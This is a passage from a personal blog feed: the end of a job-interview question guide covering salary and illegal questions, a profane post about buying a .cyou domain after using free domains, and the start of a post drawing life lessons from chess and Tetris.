<p>NOTE: If your interviewer tests you by fighting every step of the way, denying that he even wants such an item, don’t fight him. Take the product away from him by saying, “Mr. Prospect, I’m delighted you’ve told me right upfront that there’s no way you’d ever want this stapler. As you well know, the first rule of the most productive salespeople in any field is to meet the needs of people who really need and want our products, and it just wastes everyone’s time if we try to force it on those who don’t. And I certainly wouldn’t want to waste your time. But we sell many items. Is there any product on this desk you would very much like to own…just one item?” When he points something out, repeat the process above. If he knows anything about selling, he may give you a standing ovation.</p>
<hr>
<ol start="54">
<li>“The Salary Question” – How much money do you want?</li>
</ol>
<p>TRAPS: May also be phrases as, “What salary are you worth?”…or, “How much are you making now?” This is your most important negotiation. Handle it wrong and you can blow the job offer or go to work at far less than you might have gotten.</p>
<p>BEST ANSWER: For maximum salary negotiating power, remember these five guidelines:</p>
<ol>
<li>Never bring up salary. Let the interviewer do it first. Good salespeople sell their products thoroughly before talking price. So should you. Make the interviewer want you first, and your bargaining position will be much stronger.</li>
<li>If your interviewer raises the salary question too early, before you’ve had a chance to create desire for your qualifications, postpone the question, saying something like, “Money is important to me, but is not my main concern. Opportunity and growth are far more important. What I’d rather do, if you don’t mind, is explore if I’m right for the position, and then talk about money. Would that be okay?”</li>
<li>The #1 rule of any negotiation is: the side with more information wins. After you’ve done a thorough job of selling the interviewer and it’s time to talk salary, the secret is to get the employer talking about what he’s willing to pay before you reveal what you’re willing to accept. So, when asked about salary, respond by asking, “I’m sure the company has already established a salary range for this position. Could you tell me what that is?” Or, “I want an income commensurate with my ability and qualifications. I trust you’ll be fair with me. What does the position pay?” Or, more simply, “What does this position pay?”</li>
<li>Know beforehand what you’d accept. To know what’s reasonable, research thejob market and this position for any relevant salary information. Remember that most executives look for a 20-25%$ pay boost when they switch jobs. If you’re grossly underpaid, you may want more.</li>
<li>Never lie about what you currently make, but feel free to include the estimated cost of all your fringes, which could well tack on 25-50% more to your present “cash-only” salary.</li>
</ol>
<hr>
<ol start="55">
<li>The Illegal Question</li>
</ol>
<p>TRAPS: Illegal questions include any regarding your age…number and ages of your children or other dependents, marital status, maiden name, religion, political affiliation, ancestry, national origin, birthplace, naturalization of your parents, spouse or children, diseases, disabilities, clubs, or spouse’s occupation unless any of the above are directly related to your performance of the job. You can’t even be asked about arrests, though you can be asked about convictions.</p>
<p>BEST ANSWER: Under the ever-present threat of lawsuits, most interviewers are well aware of these taboos. Yet you may encounter, usually on a second or third interview, a senior executive who doesn’t interview much and forgets he can’t ask such questions.</p>
<p>You can handle an illegal question in several ways. First, you can assert your legal right not to answer. But this will frighten or embarrass your interviewer and destroy any rapport you had.</p>
<p>Second, you could swallow your concerns over privacy and answer the question straight forwardly if you feel the answer could help you. For example, your interviewer, a devout Baptist, recognizes you from church and mentions it. Here, you could gain by talking about your church.</p>
<p>Third, if you don’t want your privacy invaded, you can diplomatically answer the concern behind the question without answering the question itself.</p>
<p>Example: If you are over 50 and are asked, “How old are you?” you can answer with a friendly, smiling question of your own on whether there’s a concern that your age my affect your performance. Follow this up by reassuring the interviewer that there’s nothing in this job you can’t do and, in fact, your age and experience are the most important advantages you offer the employer for the following reasons…</p>
<p>Another example: If asked, “Do you plan to have children?” you could answer, “I am wholeheartedly dedicated to my career“, perhaps adding, “I have no plans regarding children.” (You needn’t fear you’ve pledged eternal childlessness. You have every right to change your plans later. Get the job first and then enjoy all your options.)</p>
<p>Most importantly, remember that illegal questions arise from fear that you won’t perform well. The best answer of all is to get the job and perform brilliantly. All concerns and fears will then varnish, replaced by respect and appreciation for your work.</p>
<hr>
<ol start="56">
<li>The “Secret” Illegal Question</li>
</ol>
<p>TRAPS: Much more frequent than the Illegal question (see Question 55) is the secret illegal question. It’s secret because it’s asked only in the interviewer’s mind. Since it’s not even expressed to you, you have no way to respond to it, and it can there be most damaging.</p>
<p>Example: You’re physically challenged, or a single mother returning to your professional career, or over 50, or a member of an ethnic minority, or fit any of a dozen other categories that do not strictly conform to the majority in a given company. Your interviewer wonders, “Is this person really able to handle the job?”, ”Is he or she a ‘good fit’ at a place like ours?”…”Will the chemistry ever be right with someone like this?” But the interviewer never raises such questions because they’re illegal. So what can you do?</p>
<p>BEST ANSWER: Remember that just because the interviewer doesn’t ask an illegal question doesn’t mean he doesn’t have it. More than likely, he is going to come up with his own answer. So you might as well help him out.</p>
<p>How? Well, you obviously can’t respond to an illegal question if he hasn’t even asked. This may well offend him. And there’s always the chance he wasn’t even concerned about the issue until you brought it up, and only then begins to wonder. So you can’t address “secret” illegal questions head-on. But what you can do is make sure there’s enough counterbalancing information to more than reassure him that there’s no problem in the area he may be doubtful about.</p>
<p>For example, let’s say you’re a sales rep who had polio as a child and you need a cane to walk. You know your condition has never impeded your performance, yet you’re concerned that your interviewer may secretly be wondering about your stamina or ability to travel. Well, make sure that you hit these abilities very hard, leaving no doubt about your capacity to handle them well. So, too, if you’re in any different from what passes for “normal”. Make sure, without in any way seeming defensive about yourself that you mention strengths, accomplishments, preferences and affiliations that strongly counterbalance any unspoken concern your interviewer may have.</p>
<hr>
<ol start="57">
<li>What was the toughest part of your last job?</li>
</ol>
<p>TRAPS: This is slightly different from the question raised earlier, “What’s the most difficult part of being a (job title…)” because this asks what you personally have found most difficult in your last position. This question is more difficult to redefine into something positive. Your interviewer will assume that whatever you found toughest may give you a problem in your new position.</p>
<p>BEST ANSWER: State that there was nothing in your prior position that you found overly difficult, and let your answer go at that. If pressed to expand your answer, you could describe the aspects of the position you enjoyed more than others, making sure that you express maximum enjoyment for those tasks most important to the open position, and you enjoyed least those tasks that are unimportant to the position at hand.</p>
<hr>
<ol start="58">
<li>How do you define success…and how do you measure up to your own definition?</li>
</ol>
<p>TRAPS: Seems like an obvious enough question. Yet many executives, unprepared for it, fumble the ball.</p>
<p>BEST ANSWER: Give a well-accepted definition of success that leads right into your own stellar collection of achievements.</p>
<p>Example: “The best definition I’ve come across is that success is the progressive realization of a worthy goal.”
“As to how I would measure up to that definition, I would consider myself both successful and fortunate…”(Then summarize your career goals and how your achievements have indeed represented a progressive path toward realization of your goals.)</p>
<hr>
<ol start="59">
<li>“The Opinion Question” – What do you think about …Abortion…The President…The Death Penalty…(or any other controversial subject)?</li>
</ol>
<p>TRAPS: Obviously, these and other “opinion” questions should never be asked. Sometimes they come up over a combination dinner/interview when the interviewer has had a drink or two, is feeling relaxed, and is spouting off about something that bugged him in today’s news. If you give your opinion and it’s the opposite of his, you won’t change his opinions, but you could easily lose the job offer.</p>
<p>BEST ANSWER: In all of these instances, just remember the tale about student and the wise old rabbi. The scene is a seminary, where an overly serious student is pressing the rabbi to answer the ultimate questions of suffering, life and death. But no matter how hard he presses, the wise old rabbi will only answer each difficult question with a question of his own. In exasperation, the seminary student demands, “Why, rabbi, do you always answer a question with another question?” To which the rabbi responds, “And why not?”</p>
<p>If you are ever uncomfortable with any question, asking a question in return is the greatest escape hatch ever invented. It throws the onus back on the other person, sidetracks the discussion from going into an area of risk to you, and gives you time to think of your answer or, even better, your next question!</p>
<p>In response to any of the “opinion” questions cited above, merely responding, “Why do you ask?” will usually be enough to dissipate any pressure to give your opinion. But if your interviewer again presses you for an opinion, you can ask another question. Or you could assert a generality that almost everyone would agree with.</p>
<p>For example, if your interviewer is complaining about politicians then suddenly turns to you and asks if you’re a Republican or Democrat, you could respond by saying, “Actually, I’m finding it hard to find any politicians I like these days.” (Of course, your best question of all may be whether you want to work for someone opinionated.)</p>
<hr>
<ol start="60">
<li>If you won $10 million lottery, would you still work?</li>
</ol>
<p>TRAPS: Your totally honest response might be, “Hell, no, are you serious?” That might be so, but any answer which shows you as fleeing work if given the chance could make you seem lazy. On the other hand, if you answer, “Oh, I’d want to keep doing exactly what I am doing, only doing it for your firm,” you could easily inspire your interviewer to silently mutter to himself, “Yeah, sure. Gimme a break.”</p>
<p>BEST ANSWER: This type of question is aimed at getting at your bedrock attitude about work and how you feel about what you do. Your best answer will focus on your positive feelings.</p>
<p>Example: “After I floated down from cloud nine, I think I would still hold my basic belief that achievement and purposeful work are essential to a happy, productive life. After all, if money alone bought happiness, then all rich people would be all happy, and that’s not true.</p>
<p>“I love the work I do, and I think I’d always want to be involved in my career in some fashion. Winning the lottery would make it more fun because it would mean having more flexibility, more options&hellip;who knows?”</p>
<p>“Of course, since I can’t count on winning, I’d just as soon create my own destiny by sticking with what’s worked for me, meaning good old reliable hard work and a desire to achieve. I think those qualities have built many more fortunes that all the lotteries put together.”</p>
<hr>
<ol start="61">
<li>Looking back on your last position, have you done your best work?</li>
</ol>
<p>TRAPS: Tricky question. Answer “absolutely” and it can seem like your best work is behind you. Answer, “no, my best work is ahead of me,” and it can seem as if you didn’t give it your all.</p>
<p>BEST ANSWER: To cover both possible paths this question can take, your answer should state that you always try to do your best, and the best of your career is right now. Like an athlete at the top of his game, you are just hitting your career stride thanks to several factors. Then, recap those factors, highlighting your strongest qualifications.</p>
<hr>
<ol start="62">
<li>Why should I hire you from the outside when I could promote someone from within?</li>
</ol>
<p>TRAPS: This question isn’t as aggressive as it sounds. It represents the interviewer’s own dilemma over this common problem. He’s probably leaning toward you already and for reassurance, wants to hear what you have to say on the matter.</p>
<p>BEST ANSWER: Help him see the qualifications that only you can offer.</p>
<p>Example: “In general, I think it’s a good policy to hire from within – to look outside probably means you’re not completely comfortable choosing someone from inside.”</p>
<p>“Naturally, you want this department to be as strong as it possibly can be, so you want the strongest candidate. I feel that I can fill that bill because…(then recap your strongest qualifications that match up with his greatest needs).”</p>
<hr>
<ol start="63">
<li>Tell me something negative you’ve heard about our company.</li>
</ol>
<p>TRAPS: This is a common fishing expedition to see what the industry grapevine may be saying about the company. But it’s also a trap because as an outsider, you never want to be the bearer of unflattering news or gossip about the firm. It can only hurt your chances and sidetrack the interviewer from getting sold on you.</p>
<p>BEST ANSWER: Just remember the rule – never be negative – and you’ll handle this one just fine.</p>
<hr>
<ol start="64">
<li>On a scale of one to ten, rate me as an interviewer.</li>
</ol>
<p>TRAPS: Give a perfect “10,” and you’ll seem too easy to please. Give anything less than a perfect 10, and he could press you as to where you’re being critical, and that road leads downhill for you.</p>
<p>BEST ANSWER: Once again, never be negative. The interviewer will only resent criticism coming from you. This is the time to show your positivism. However, don’t give a numerical rating. Simply praise whatever interview style he’s been using.</p>
<p>If he’s been tough, say “You have been thorough and tough-minded, the very qualities needed to conduct a good interview.”
If he’s been methodical, say, “You have been very methodical and analytical, and I’m sure that approach results in excellent hires for your firm.”</p>
<p>In other words, pay him a sincere compliment that he can believe because it’s anchored in the behavior you’ve just seen.</p>
]]></content></item><item><title>Buying my own domain</title><link>https://blzr.sbs/posts/buying-my-own-domain/</link><pubDate>Fri, 01 Jul 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/buying-my-own-domain/</guid><description>What happens when you think with your little head</description><content type="html"><![CDATA[<p>This is just a small update for me and 1 ½ people out there reading this shit (½ refers to the automated web scraping bots [<code>Yes, I See the network logs</code>], if it wasn&rsquo;t clear).</p>
<p>On 29th of June, I had amassed enough money to buy a cheapest domain possible on Namecheap, which ain&rsquo;t complete pile of garbage. it is <a href="1bl4z3r.cyou">1bl4z3r.cyou</a>. It had cost me a sum total of $48.42 for 10 years, and given that I was running home on a free domain, it had a lot (I mean a lot) of advantages, which I will Copy-Paste here. {emoji}</p>
<h3 id="a-little-backstory">A Little backstory</h3>
<p>I had started my self controlled, GitHub hosted, lots of Copy-Pasted codes snippets and hair pulls on Nov 28, 2021. Did I remember that? Of course. Its not that I looked into my <a href="https://github.com/1bl4z3r/1bl4z3r.github.io/commit/35bcf5c3c6f1db54279ce88844e3666a6f4c5cb2">commit history</a> to get the date. Nope. Me, being me and me is a smart-ass, I had an assumption that let&rsquo;s run on free domains, who&rsquo;s gonna look into this mess?</p>
<p>Oh boy, was I wrong!!! No, I was right about 2nd part, where no one, I mean absolutely no one even opens this site by mistake; I was wrong about the other part. Also, I had a bad habit of self-hosting various <a href="https://1bl4z3r.cyou/posts/bitwarden-on-google-cloud">shit</a> which was not even required to be self-hosted, and creating self-hosted monitoring services to monitor said shit.</p>
<p>Here&rsquo;s a thing about self-hosted services and your services are on public internet. It needs to have a SSL, Now, you can create a self-signed certificate which points to a public IP address, but me is a lazy-ass, and why should I do a thing when there is Let&rsquo;s Encrypt. Do I sound like a hypocrite? Sure. Am I ashamed for this? Pffft&hellip; Who do you think I am, a Loser?</p>
<p>Also <a href="https://community.letsencrypt.org/t/can-i-use-my-public-ip-instead-of-a-doman-name/52050">Let&rsquo;s Encrypt doesn&rsquo;t provide SSL certificates for Public IP address</a></p>
<p>Where was I? Oh yes. Now I was rocking with all these free domains. A complete set of 69 domains and subdomains. I was high as fuck, getting a orgasm every time I see a free domain loading with <code>https://</code>.  This excitement of me being single was short lived as after few months, the load times started to falter. Sometimes the domains would fail to load, sometimes the root servers goes to sleep and sometimes I mistype the domain (which was most of the times), because it is so fucking long and I also had to circumvent my Organization&rsquo;s shitty firewall, so that I can watch totally legally downloaded anime in peace while on the clock. Yep, its <code>&quot;legally downloaded&quot;</code>, <code>&quot;anime&quot;</code> and  <code>&quot;on the clock&quot;</code> in one sentence.</p>
<h3 id="getting-free-knowledge-out">Getting free knowledge out</h3>
<p>Having used a plethora of free domains for 6+ months, I believe I am a perfectly eligible candidate to shove the pros and cons of free domains down your throat till you beg for some air. Let&rsquo;s get you undressed.</p>
<h4 id="pros-of-free-domains-because-you-are-smart">Pros of Free domains, because you are smart</h4>
<ol>
<li>Well, it&rsquo;s free</li>
</ol>
<p>The main advantage of free domain registration is the cost—or lack thereof. For the most part, these free domains are good for one year, which also means you may have to pay after the initial year. Sometimes, for Freenom domains, you need to renew after 1 year. Since it is free, there are no fees to be paid every year. This is certainly very helpful for beginner bloggers (like me) who still want to learn to tinker with websites for learning purposes. It is also useful.</p>
<ol start="2">
<li>Easy to get started</li>
</ol>
<p>Since it is free, there is little to no friction on getting started. You can immediately launch an application within a couple of hours. Provided, it is not a stable workflow, which I am going to explain later. It is helpful if you are starting out an ARG or provide limited time public access to super secret confidential bullshit of exclusivity, this solution has you covered. Since these domains are not a super favorite for search engine crawlers, you have a super power to terminate the site, become MIA and pull a virtual neuralyzer over the hive mind we call the Internet.</p>
<h4 id="cons-of-free-domains-because-you-are-smooth-brain">Cons of Free domains, because you are smooth brain</h4>
<ol>
<li>Not at all serious shit</li>
</ol>
<p>So basically you can register a free domain name from 4 select ccTLDs of countries like TK (Tokelau), GA (Gabon), CF (Central African Republic) and ML (Mali). You are only the user of the domain but have no legal right to it (they can revoke it at any time) - plus the whole &lsquo;its not a .com&rsquo; thing.</p>
<ol start="2">
<li>DNS Propagation takes ages</li>
</ol>
<p>‘DNS propagation’ is a term used to describe the time frame after making any changes to your domain name. DNS records are stored in cache mainly to improve the performance of DNS queries. Every DNS record has a Time to Live (TTL) value, which is the time DNS servers should store that record in the cache. Even if a record is changed, DNS servers will continue working with its formal value from cache until this time has passed.</p>
<p>This is the essence of DNS propagation – it is the time required for DNS servers worldwide to update their cached information for a domain name. It is influenced by the TTL of DNS records that might have changed, but there are also other factors that could come into play.</p>
<p>A DNS change requires up to 24 hours to propagate worldwide, although most often this happens in a matter of hours. But, in case of Freenom domains, it takes like a week. I don&rsquo;t know on what their root servers are running on.</p>
<ol start="3">
<li>Frequent outages for no apparent reason</li>
</ol>
<p>One fine morning, you are in your sleepwear, started your computer to connect to the services, which you have painstakingly created by destroying most of your social life, with a cup of coffee; only to find that you are unable to connect. You login to your DNS provider to check if all routes are correct, and coming to the realization that the Root servers took a break and is no longer responding to DNS queries. Your morning DESTROYED and you receive an award - &ldquo;Emotional Damage&rdquo;</p>
<h3 id="my-groundbreaking-solution">My groundbreaking solution</h3>
<p><strong>A Paid domain - <a href="1bl4z3r.cyou">1bl4z3r.cyou</a></strong></p>
<p>Why .cyou? Well, it was cheapest of all the domains present on Namecheap as on 30/06/2022. That&rsquo;s it, that&rsquo;s the only reason.</p>
<p>Now, let my Post-purchase Rationalization kick in and I over attribute positive features to the option I had chosen and negative features to options not chosen, thereby putting my choice as better than they actually were.</p>
<h4 id="free-marketing-time">Free Marketing Time</h4>
<h5 id="what-is-cyou">What is .cyou?</h5>
<p>.cyou is a savvy and uber-cool domain extension crafted for the true digital natives of today.</p>
<h5 id="who-is-cyou-for">Who is .cyou for?</h5>
<p>The .cyou domain is crafted specifically for today’s generation of movers and shakers who have never lived in a world without social media or the internet.</p>
<p>.cyou empowers the true digital natives of today’s work smart generation that are re-writing the rule book on how things should be.</p>
<p>The .cyou domain is for the group of technologically advanced, Eco-conscious, open-minded individuals of today. It’s for Gen Z and for those who thrive on memes and speak fluent emoji.</p>
<p>From youngsters starting their own businesses to those who wish to monetize their passions and talents or for influencers who want to further their strong personal brands on social media, .cyou is for them all!</p>
<p>.cyou is also well-suited for any business or brand trying to appeal to Gen Z or simply looking for an innovative online identity that helps them stand out from the herd.</p>
<p>Simply put, .cyou is for any individual or business that shares the ethical values of diversity, inclusivity, and independence.</p>
<h5 id="agnostic-and-smart">Agnostic and smart</h5>
<p>The .cyou domain extension is not bound by any specific industry vertical or niche. Neither is it restricted by language or geographic boundaries. The agnostic nature of .cyou makes it usable by anyone from any industry from any part of the world.</p>
<p>There are no usage limitations that come along with a .cyou domain extension. Anyone can use it to denote their online presence and build a strong brand around it. This makes .cyou a versatile and dynamic choice.</p>
<p>The .cyou domain doubles up as a nifty abbreviation for ‘see you’.</p>
<h5 id="heres-a-logo-because-uber-cool-sites-need-uber-cool-logo-of-a-uber-cool-domain">Here&rsquo;s a logo, because uber-cool sites need uber-cool logo of a uber-cool domain</h5>

<figure><picture>
          <source srcset="/images/buying-my-own-domain/cyou-domain-logo_hu15078792379695977197.webp" type="image/webp">
          <source srcset="/images/buying-my-own-domain/cyou-domain-logo_hu4533678143478523180.jpg" type="image/jpeg">
          <img src="/images/buying-my-own-domain/cyou-domain-logo_hu15078792379695977197.webp"alt=".cyou Domain Logo"  width="1016"  height="368"  loading="lazy" />
        </picture><figcaption>
            <p>Domain logo, because why not</p>
          </figcaption></figure>
<h3 id="whats-next">What&rsquo;s next?</h3>
<p>I liked the ml domain, but like my crushes, it is just a phase and I would eventually get over with it. For the time being, <a href="https://1bl4z3r.cyou">1bl4z3r.ml</a> will redirect to <a href="https://1bl4z3r.cyou">1bl4z3r.cyou</a>.</p>
]]></content></item><item><title>Game called Life</title><link>https://blzr.sbs/posts/game-called-life/</link><pubDate>Fri, 01 Apr 2022 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/game-called-life/</guid><description>All the world’s a stage, And all the men and women merely players;</description><content type="html"><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-markdown" data-lang="markdown"><span style="display:flex;"><span>All the world’s a stage,
</span></span><span style="display:flex;"><span>And all the men and women merely players;
</span></span><span style="display:flex;"><span>They have their exits and their entrances;
</span></span><span style="display:flex;"><span>And one man in his time plays many parts,
</span></span><span style="display:flex;"><span>His acts being seven ages. At first the infant,
</span></span><span style="display:flex;"><span>Mewling and puking in the nurse’s arms;
</span></span><span style="display:flex;"><span>And then the whining school-boy, with his satchel
</span></span><span style="display:flex;"><span>And shining morning face, creeping like snail
</span></span><span style="display:flex;"><span>Unwillingly to school. And then the lover,
</span></span><span style="display:flex;"><span>Sighing like furnace, with a woeful ballad
</span></span><span style="display:flex;"><span>Made to his mistress’ eyebrow. Then a soldier,
</span></span><span style="display:flex;"><span>Full of strange oaths, and bearded like the pard,
</span></span><span style="display:flex;"><span>Jealous in honour, sudden and quick in quarrel,
</span></span><span style="display:flex;"><span>Seeking the bubble reputation
</span></span><span style="display:flex;"><span>Even in the cannon’s mouth. And then the justice,
</span></span><span style="display:flex;"><span>In fair round belly with good capon lin’d,
</span></span><span style="display:flex;"><span>With eyes severe and beard of formal cut,
</span></span><span style="display:flex;"><span>Full of wise saws and modern instances;
</span></span><span style="display:flex;"><span>And so he plays his part. The sixth age shifts
</span></span><span style="display:flex;"><span>Into the lean and slipper’d pantaloon,
</span></span><span style="display:flex;"><span>With spectacles on nose and pouch on side;
</span></span><span style="display:flex;"><span>His youthful hose, well sav’d, a world too wide
</span></span><span style="display:flex;"><span>For his shrunk shank; and his big manly voice,
</span></span><span style="display:flex;"><span>Turning again toward childish treble, pipes
</span></span><span style="display:flex;"><span>And whistles in his sound. Last scene of all,
</span></span><span style="display:flex;"><span>That ends this strange eventful history,
</span></span><span style="display:flex;"><span>Is second childishness and mere oblivion;
</span></span><span style="display:flex;"><span>Sans teeth, sans eyes, sans taste, sans everything.
</span></span></code></pre></div><blockquote>
<p>from As You Like It, spoken by Jaques</p>
</blockquote>
<p>It would be a lie if I said I didn&rsquo;t like the play <code>As You Like It</code>, well, I didn&rsquo;t like for the fact that I had to memorize every fucking line and understand deeper meaning of <strong>What Mr. Shakespere really wanted to say?</strong>, and write them down on a piece of paper in order to get grades and actually pass a Public Examination; but I still have this playbook (a simple token of the simpler lives).</p>
<p>So, why I am getting all teared up and nostalgic?</p>
<ol>
<li>I have too much time in my hand</li>
<li>See above</li>
</ol>
<p>I play chess. Mostly with a high ELO rated bot, and consecutively loose every time, which is to say I am not good with 0 Sum games. For my longest time, I was informed that life is also a 0 Sum game, ie. <code>If you don't win, you loose</code>. Simple enough for my teenage simple brain. But, what my folks forgot to mention that most often than not, the competitor whom you are trying to defeat is yourself.</p>

    <div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/6SgEjPdeZGo?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>That is a long-ass way to say, I got fucked (metaphorically) numerous times.</p>

<figure class="center" ><picture>
          <source srcset="/images/game-called-life/chess_hu14453147065052425015.webp" type="image/webp">
          <source srcset="/images/game-called-life/chess_hu6001234203203144842.jpg" type="image/jpeg">
          <img src="/images/game-called-life/chess_hu14453147065052425015.webp"alt="chess"  width="680"  height="453" />
        </picture><figcaption>
            <p>Chess-ify</p>
          </figcaption></figure>
<h2 id="life-lessons-from-chess-coz-im-smart-and-didnt-take-an-inspiration">Life Lessons from Chess (coz I&rsquo;m smart and didn&rsquo;t take an inspiration)</h2>
<ol>
<li>
<p>Every move has a purpose. Life obviously cannot be lived with this much unceasing calculation, nor should we want to live it that way, but there are times when we must align our actions with a predetermined strategy, instead of bumbling through it.</p>
</li>
<li>
<p>Play for the advantage. If you already have it, maintain it. If you don’t have it, seize it.</p>
</li>
<li>
<p>Everyone’s playing. Sometimes it’s a friendly, often it is more serious. The problem is that not everyone knows they’re playing – even after they have made a move.</p>
</li>
<li>
<p>Seize the initiative. If you wait around for someone else to make a decision for you, they will… and you probably won’t like how it turns out.</p>
</li>
<li>
<p>Learn to spot patterns. There are often clearly defined lines of success that work well. Learn to see these when they repeat, and take advantage of them.</p>
</li>
<li>
<p>Don’t get stuck on the formula. A little bit of creativity and lateral thinking can often take you to new heights.</p>
</li>
<li>
<p>Ignore what your opponent is trying to do at your own peril. We often get so absorbed in our own games and machinations that we ignore what is going on around us. Be aware of threats and alert to opportunities.</p>
</li>
<li>
<p>Simplify.</p>
</li>
<li>
<p>If you only play patzers, you never really improve – take on a few tough challenges, and even if you lose, try to learn something new.</p>
</li>
<li>
<p>Cut your losses. Sometimes you are going to lose material. Try to minimize your losses and move on.</p>
</li>
<li>
<p>Play the board, not the player. Don’t target your responses at people, target what they say and do. There is a difference.</p>
</li>
<li>
<p>Sometimes you get stuck in a position known in chess as zugzwang: where whichever move you make is a bad one. This is just the way it goes sometimes, in chess and in life.</p>
</li>
<li>
<p>There is nothing more satisfying than a discovered attack: Pretending to do one thing while attacking somewhere else. Learn to play and live less obviously and on more levels. This makes you less predictable and more interesting.</p>
</li>
<li>
<p>Be prepared to sacrifice material for position. Sometimes even the greatest material sacrifice can result in a winning position later on.</p>
</li>
<li>
<p>If you spend all of your time chasing lowly pawns, you may be on the receiving end of an opponent who cares less about small victories and more about winning the war.</p>
</li>
<li>
<p>A threat is best met with a move that improves your own position. Don’t get trapped into mindlessly trading moves and material in anger. Sometimes the solution is more gentle and cerebral.</p>
</li>
<li>
<p>You don’t have to be a devious swindler to win, you just have to be better.</p>
</li>
<li>
<p>We all blunder from time to time. This does not mean we should give up and run away. Often when you’re sure there is no way out after a bad mistake, you will be given a lifeline.</p>
</li>
<li>
<p>When someone makes a move that you cannot understand, don’t read more into it than you need to. Sometimes people just make silly moves – that’s all there is to it.</p>
</li>
<li>
<p>Have a Plan B. And a Plan C. If none of those work, you’re probably doomed.</p>
</li>
<li>
<p>Play for the middle. Don’t hold back too much, and don’t push through too early. Your opportunity will come.</p>
</li>
<li>
<p>How you start a game determines how you will finish it. Play wisely.</p>
</li>
<li>
<p>If an opening appears, seize it immediately.</p>
</li>
<li>
<p>Don’t get pinned down. Where something more cherished cannot be brought into play because it is stuck behind something trivial, make every effort to get it into the game – as soon as possible.</p>
</li>
<li>
<p>When you are in the final stretch, and about to win, anticipate what could go wrong and plan accordingly.</p>
</li>
<li>
<p>Be flexible. It seldom goes the way you planned – adjust and continue.</p>
</li>
<li>
<p>If you are feeling boxed-in, free things up.</p>
</li>
<li>
<p>Where possible, trade inferior material and positions for better ones.</p>
</li>
<li>
<p>The little guys on your side matter. Look after them.</p>
</li>
<li>
<p>Accumulate small advantages.</p>
</li>
<li>
<p>There are no foregone conclusions in life.</p>
</li>
<li>
<p>Ignore meaningless threats. Anticipate and deal with dangerous ones swiftly.</p>
</li>
<li>
<p>Never rest on your laurels. Keep thinking, looking for new opportunities and trying to generate new ideas.</p>
</li>
<li>
<p>Don’t be overly impressed with lofty words or titles. The only thing worse than being overly different towards those who outrank you is being dismissive of those inferior to you.</p>
</li>
<li>
<p>Keep calm and move slowly.</p>
</li>
<li>
<p>Replace wishful thinking with action.</p>
</li>
<li>
<p>If you lose, do so graciously and try to learn at least one important lesson.</p>
</li>
<li>
<p>Sometimes a draw is as good as a win. But a draw is always better than a loss.</p>
</li>
<li>
<p>Keep your options open and always have an escape route.</p>
</li>
<li>
<p>Surprise and impress people with unconventional moves. But not with dumb ones. Creativity always has a purpose – doing something wild and crazy just for the sake of it may be fun at the time, but ultimately has no value. Break the rules – but only if it serves a good purpose.</p>
</li>
<li>
<p>Appraise your position honestly. If it is bad, do something about it – if it is good, make it even better.</p>
</li>
<li>
<p>Don’t get swept up by distractions.</p>
</li>
<li>
<p>Narrow down your choices. And then decide. Take your time, but settle on one plan of action… and then do it!</p>
</li>
<li>
<p>Sometimes you have to sacrifice in order to achieve a break-through.</p>
</li>
<li>
<p>Always consider the whole board when deciding on a move: decisions made with too narrow a focus are often bad.</p>
</li>
<li>
<p>Connect your pieces cleverly. Collaboration and cooperation are the keys to success.</p>
</li>
<li>
<p>Look beyond the obvious.</p>
</li>
<li>
<p>Enjoy yourself.</p>
</li>
<li>
<p>Deep and meaningful is always better than superficially pretty.</p>
</li>
<li>
<p>If all else fails, fake it.</p>
</li>
</ol>
<p>One more game which I often like to play is Tetris, just because it has fancy 8-bit-isq music; and no, I don&rsquo;t have enough patience to play Elden Ring, or any story based titles for that matter; which co-incidentally is more costly than former, but is just co-incidental (Trust me).</p>
<p>One thing of Teris, is that it is a simple game, and it have two objective - Clear the board and don&rsquo;t reach the celing. It is simplest game to make a auto-playing AI out of (If you don&rsquo;t consider Classic Tic-Tac-Toe and Rock-Paper-Scissors as a game). After meeting a special someone, my idea of life&rsquo;s a 0-Sum game had few flaws, namely it considers that I am not a source of fuck-up; which, if you meet me IRL, is absolutely not true (so was said to me).</p>

<figure class="center" ><picture>
          <source srcset="/images/game-called-life/tetris_hu5433258815402982784.webp" type="image/webp">
          <source srcset="/images/game-called-life/tetris_hu12889725698311749723.jpg" type="image/jpeg">
          <img src="/images/game-called-life/tetris_hu5433258815402982784.webp"alt="Tetris"  width="680"  height="453" />
        </picture><figcaption>
            <p>Tetris-ify</p>
          </figcaption></figure>
<h2 id="life-lessons-from-tetris-coz-if-i-am-going-to-increase-watch-time-i-have-to-do-random-bullshit-go">Life Lessons from Tetris (coz, if I am going to increase watch time, I have to do &ldquo;Random Bullshit, GO&rdquo;)</h2>
<ol>
<li><strong>Being “in the zone&quot;</strong></li>
</ol>
<p>Being in the zone is nothing more than achieving a heightened state of focus. This near-meditative state is not always easy to achieve. Figure out how to get there, then stay as long as you can.</p>
<ol start="2">
<li><strong>Most of the time you don’t get what you want</strong></li>
</ol>
<p>You’ll get something that might work, and you’ll get something that doesn’t fit at all, and you’ll get three or four of the same worthless piece in a row. In real life this translates to settling for a sub-par apartment or ending up in a band whose music is not quite your cup of tea. But ya know what? It’s not the end of the world. Patience is a virtue, and the right piece eventually comes.</p>
<ol start="3">
<li><strong>Take what you can get, as you work towards what you want</strong></li>
</ol>
<p>Sometimes it’s OK to get one or two lines, keeping everything manageable, while waiting for the &lsquo;piece&rsquo;. You gotta do what ya gotta do to survive until you see your opportunity. Keep your end goals in mind, but don’t feel bad taking chump change along the way.</p>
<ol start="4">
<li><strong>You have to have faith, the Answer’s Right Around the Corner</strong></li>
</ol>
